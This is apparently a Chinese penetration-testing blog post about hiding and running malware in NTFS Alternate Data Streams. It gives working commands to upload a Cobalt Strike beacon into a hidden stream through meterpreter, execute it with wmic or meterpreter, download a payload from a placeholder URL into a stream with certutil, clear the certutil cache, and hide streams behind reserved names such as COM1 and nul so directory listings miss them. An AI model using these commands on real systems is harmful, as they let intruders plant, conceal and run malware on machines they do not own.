渗透中的ADS

为了测试,在这里使用Cobaltstrike 生成一个exe,用来查看文件是否上传成功,并可以顺利执行,每次上传文件以后,服务器自动删除,如下图:
1504229593529.png

PS: meterpreter会话是通过powershell web_delivery获取的

尝试创建文件夹成功:
1504229703126.png

将文件上传至特殊目录:

1
upload /tmp/beacon.exe \\\\.\\c:\\WINDOWS\\debug\\WIA\\123:aa.exe

upload /tmp/beacon.exe 123:aa.exe也可以,这是写到了当前目录。

上传以后进入shell 可使用 dir /r来查看
1504229856372.png

可以看到成功写入了,之后使用WMIC来执行,命令如下:

1
2
wmic process call create \\.\c:\WINDOWS\debug\WIA\123:aa.exe
wmic process call create C:\WINDOWS\debug\WIA\123:aa.exe //当前目录使用,需要绝对路径

也可以使用msf来执行

1
execute -cH -f "\\\\.\\c:\\WINDOWS\\debug\\WIA\\123:aa.exe"

1504229982741.png

到cobal里面可以看到会话。

如果有权限的话,可使用certutil下载文件到ADS

1
certutil -urlcache -split -f http://url/test.exe \\.\c:\WINDOWS\debug\WIA\123:aa.exe

删除certutil缓存

1
certutil.exe -urlcache -split -f http://url/test.exe delete

测试时发现一个有趣的东西,使用test:
1.gif

使用nul
test.gif

测试发现,如果想要dir /s 里面看不到ADS,可以使用的文件为:

1
2
3
4
5
\\.\C:\test\COM1
\\.\C:\test\COM2
...
\\.\C:\test\COM9
\\.\C:\test\nul

并且这些文件是不可以直接删除的,要删除的话使用如下命令:

1
del \\.\C:\test\nul

再分享一下怎么样带参数执行ADS文件,其实可以借助于MSF,具体命令如下

1
execute -iH -f "c:\\文件路径\\123:1.exe" -a "文件参数"

效果如下图:
1504257989079.png

使用msf删除ADS,可直接使用rm 加绝对路径即可,如下图:
1504258209654.png

------本文结束,感谢阅读------